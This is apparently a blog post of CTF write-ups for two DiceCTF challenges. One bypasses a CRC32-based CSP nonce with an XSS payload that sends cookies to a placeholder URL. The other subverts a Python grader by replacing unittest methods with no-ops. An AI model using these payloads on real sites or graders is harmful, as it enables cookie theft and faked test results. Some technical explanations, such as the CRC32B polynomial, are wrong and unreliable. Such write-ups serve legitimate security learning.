[recrusive-csp]

In challenge page We were able to confirm /?source page is available.

So, we able to get some php code.

 

 

- source code auditing

<?php
  if (isset($_GET["source"])) highlight_file(__FILE__) && die();

  $name = "world";
  if (isset($_GET["name"]) && is_string($_GET["name"]) && strlen($_GET["name"]) < 128) {
    $name = $_GET["name"];
  }

  $nonce = hash("crc32b", $name);
  header("Content-Security-Policy: default-src 'none'; script-src 'nonce-$nonce' 'unsafe-inline'; base-uri 'none';");
?>
<!DOCTYPE html>
<html>
  <head>
    <title>recursive-csp</title>
  </head>
  <body>
    <h1>Hello, <?php echo $name ?>!</h1>
    <h3>Enter your name:</h3>
    <form method="GET">
      <input type="text" placeholder="name" name="name" />
      <input type="submit" />
    </form>
    <!-- /?source -->
  </body>
</html>

 

following a code I've noticed

it is a PHP challenge that generates a "Content-Security-Policy" header for a web page.

 

The header specifies the security policies for the content of the page, such as which sources of script and style code are allowed to be loaded.

The header sets the "default-src" to "none" to block all sources, then sets the "script-src" to "nonce-$nonce" and "unsafe-inline" to allow scripts with a specific nonce value, and "base-uri" to "none" to prevent the base URL from being set.

The nonce value is generated by taking a "crc32b" hash of the "name" GET parameter.

 

In this case, there is a potential Cross-Site Scripting (XSS) vulnerability in name parameter.

If the "name" GET parameter is not properly sanitized it will be trouble!

To trigger the XSS, an attacker would need to craft a payload that contains the correct nonce value so that it can bypass the "Content-Security-Policy".

The attacker can generate the correct nonce by appending certain bytes to the payload, which were generated by the "crc32-file-collision-generator" tool. (Before running a CTF I didn't even know there was a tool like this. LOL)

 

now we should make a payload to get nonce value (a.k.a hash nonce, hash value, whatever)

In this challenge we need to get the flag in cookie using the admin bot.

 

 

- payload configuration

First of all, it should not be overlooked that the length must not exceed 128.

So, I use this payload to get hash value.

<script nonce="12345678">document.location="myurl"+document.cookie</script>

 

 

<script nonce= " "> : According to the CSP policy, create a tag including a nonce so that the script can be executed.

document.location=" "+.document.cookie : This line of JavaScript code sets the location of the current document to a URL and appends the current document's cookie to the URL as a query string. This causes the cookie to be sent to the specified URL when the payload is executed.

 

 

- get a nonce

Now, we try to get a hash value about nonce by crc32-file-collision-generator

The crc32-file-collision-generator tool takes the target hash value and the payload (payload.txt) as inputs and generates the final payload by modifying the original payload in such a way that when hashed with the CRC32 algorithm, it will produce the same hash value as the target hash value.

The tool modifies the payload by appending additional bytes to it.

The resulting payload will contain the nonce value required to bypass the Content Security Policy (CSP) in the PHP code and trigger an XSS vulnerability.

 

 

crc32-file-collision-generator tool

더보기

The target file can contain any value, as long as it is a known value that the attacker wants to match with the modified payload. In this specific case, the value in the target file was set to 12345678, and the resulting hash of 12345678 with the CRC32 algorithm was 9ae0daaf. The attacker then used the crc32-file-collision-generator tool to modify the payload such that when hashed with the CRC32 algorithm, it produced the same hash value as the target file.

what is diffrent between crc32 and crc32b?

더보기

The main difference between them is the way the polynomial coefficients are defined.

  • CRC32 uses a polynomial of 0x04C11DB7
  • CRC32B uses a polynomial of 0x1EDC6F41.

Therefore, they will produce different hash values for the same input data.

 

- conclusion

So, in summary, the payload sets the location of the current document to a URL, and appends the current document's cookie to the URL, causing the cookie to be sent to the specified URL when the payload is executed

<script nonce="12345678">document.location="myurl"+document.cookie</script>9ae0daaf

 

더보기

flag=diceCTF{h0pe_that_d1dnt_take_too_l0ng}

 

 

 

 

[scorescope]

In challenge page We were able to confirm template.py

There are several quizzes in it, and I guessed that this is a challenge to solve.

 

 

- source code auditing

# DICE 1001
# Homework 3
#
# @author [full name]
# @student_id [student id]
#
# Collaborators:
# - [list collaborators here]
#
# Resources:
# - [list resources consulted]

def add(a, b):
    '''
    Return the sum of a and b.
    Parameters:
        a (int): The first number to add.
        b (int): The second number to add.
    Returns:
        int: The sum of a and b.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

def longest(words):
    '''
    Return the longest word in a list of words.
    When there are multiple words of the same length, return the first.
    Parameters:
        words (list): A list of words.
    Returns:
        str: The longest word in the list.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

def common(a, b):
    '''
    Return the longest common subsequence of two strings.
    Parameters:
        a (str): The first string.
        b (str): The second string.
    Returns:
        str: The longest common subsequence of a and b.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

def favorite():
    '''
    Return your favorite number. Must be the same as my favorite number.
    Returns:
        int: Your favorite number.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

def factor(n):
    '''
    Given an integer, find two integers whose product is n.
    Parameters:
        n (int): The number to factor.
    Returns:
        Tuple[int, int]: Two satisfying integers.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

def preimage(hash):
    '''
    Given a sha256 hash, find a preimage (bytes).
    Parameters:
        hash (str): The sha256 hash of a string in hex.
    Returns:
        bytes: A preimage of the hash.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

def magic():
    '''
    Guess the random number I am thinking of.
    Returns:
        int: Your guess.
    '''

    ######## YOUR CODE ########

    raise NotImplementedError

    ###########################

At the end of a code I've noticed it's impossible to solve.

how do i know his thinking and hash value? you can?

 

scorecsope assingment upload&check

I confirmed the assignment check function.

File can be uploded and quiz be graded in there.

It looks like the file is being executed on the server and spitting out results to the website.

in other words, we can write python code on file and execute it in server.

 

So, I tested a few cases and found out about the python Leak top-level execution context.

 

The use of __import__('__main__') to access the top-level execution context can be a security vulnerability if used improperly.

The __main__ module represents the main program that is being executed, and if a malicious code is running in the same environment, it could use the __import__ function to access sensitive information stored in the __main__ module and manipulate it for malicious purposes.

This could potentially lead to security breaches, data theft, or other malicious activities. It's important to use proper security measures and ensure that the code being executed is from a trusted source to prevent these types of security issues.

 

here is a sample code for top-level in python

더보기
import sys         # top-level

3 + 4              # top-level

x = 0              # top-level

def f():           # top-level
    import os      # not top-level!
    return 3       # not top-level

if x:              # top-level
    print 3        # not top-level
else:
    print 4        # not top-level, but executes as part of an if statement
                   # that is top-level

class TopLevel(object): # top-level
    x = 3          # not top-level, but executes as part of the class statement
    def foo(self): # not top-level, but executes as part of the class statement
        print 5    # not top-level

 

 

- payload configuration

main = __import__('__main__')
raise Execption('Result : '+str(dir(main)))

The code is executed,  it raise an exception with a message that contains a string representation of the list of attributes of the main object.

 

top-level execution context

__import__('__main__') :  it used to import the module that represents the top-level script being executed.

dir() : it used to get a list of attributes for the 'main' object, which includes functions, variables, and other attributes defined in the top-level script.

raise Exception('Result : ' + str(dir(main))) : creates an exception with a message that contains the result of calling 'dir(main).dir(main)' returns a list of all the attributes (including methods and variables) of the 'main' object.

 

So, we can get a list of attributes of the main.

['SilentResult', 'Submissionimporter', 'TestCase', 'TestLoader', 'TextTestRunner', '__annotations__', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__loader__', '__name__', '__package__', 'current', 'f', 'json', 'stack', 'stderr', 'stdout', 'submission', 'suite', 'sys', 'test', 'tests']

 

honestyl, I don't know which of attributes is relevant with flag.

After checking each one, the suite was what we were looking for. :P

 

main = __import__('__main__')
raise Execption('Result : '+str(dir(main.suite)))

Causes Exception to return a list of properties and methods for the main.suite object.

 

 

 

main = __import__('__main__')
raise Execption('Result : '+str(main.suite))

we check it again without dir() function.

In this case, we get some repeated error code.

main.suite result

The number of repeated codes and the the content was related with the quiz.

I was stuck here.

 

I will continue by reffering to the write-up.

def nop():
	return

main = __import__('__main__')

def nop_test(suite):
        if suite == None:
                return

        if "_testMethodName" in suite.__dict__:
                suite.__dict__[suite.__dict__['_testMehodName']] = nop
                return
        for a in suite:
                nop_test(a)

nop_test(main.suite)

 

they use this payload to solve the quiz.

In here, I have a currious about "testMethodName".

what is "testMethodName"? it this suite's attribute?

 

To create a unit test in Python, you can use the Unittest module. The unittest module provides classes and methods for defining and executing test cases.

The most important class in the unittest module is the TestCase class. The TestCase class is used to define a test case. A test case is a function that tests the expected results for a particular condition.
"_testMethodName" is one of the special methods called automatically in the TestCase class. This method returns the name of the currently running test method.

unittest > Testcase > _testMehodName

 

The "_testMethodName" is not a guaranteed attribute. it's just a method in TestCase class.

 

To check if it is present, we can use the "in" operator on the object's __dict__ attribute.

An example is shown below.

if "_testMethodName" in suite.__dict__:
    print("_testMethodName is exist")
    return

 

- conclusion

in summary, we should know about python top-level executino context to solve a challenge and unittest.suite

더보기
dice{still_more_secure_than_gradescope}

 

reference : https://docs.python.org/3/library/unittest.html

'Challenge > CTF' 카테고리의 다른 글

LINE CTF 2023  (0) 2023.03.28
wolv CTF 2023  (0) 2023.03.21
T3N4CIOUS CTF 2022  (0) 2022.03.26
[dvCTF] ICMP  (0) 2022.03.15
[UTCTF] Websockets?  (0) 2022.03.14

+ Recent posts